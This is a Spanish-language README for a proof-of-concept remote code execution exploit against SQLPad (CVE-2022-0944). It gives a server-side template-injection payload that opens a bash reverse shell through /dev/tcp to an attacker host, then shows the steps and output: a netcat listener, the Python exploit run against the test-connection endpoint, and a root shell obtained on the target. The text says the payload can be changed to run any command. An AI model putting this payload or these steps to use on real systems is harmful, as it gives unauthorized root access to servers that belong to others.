CVE-2022-0944 PoC

PoC para RCE en SQLPad.
Este ejemplo lanza una reverse shell, pero el payload puede modificarse para ejecutar cualquier comando disponible cambiando el comando en la llamada 'exec' dentro del payload.
payload = f"{{{{ process.mainModule.require('child_process').exec('/bin/bash -c "bash -i >& /dev/tcp/{reverse_host}/{reverse_port} 0>&1"') }}}}"

requisitos

Python 3

uso

1. Iniciar un listener

┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...

2. Ejecutar el exploit

┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ python poc-cve-2022-0944.py -u http://sqlpad.example.com/api/test-connection -a 10.10.11.208 -p 7070
[*] Running exploit against target: http://sqlpad.example.com/api/test-connection
[*] Assembling JSON with payload
[*] Submitting request...
[!] Exploit appears to have been successful.
[*] Done.

┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$

3. Comprobar la shell

┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
connect to [10.10.11.208] from example.com [10.10.11.25] 45502
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
uid=0(root) gid=0(root) groups=0(root)
root@c184118df0a6:/var/lib/sqlpad#

referencias

https://nvd.nist.gov/vuln/detail/CVE-2022-0944
https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb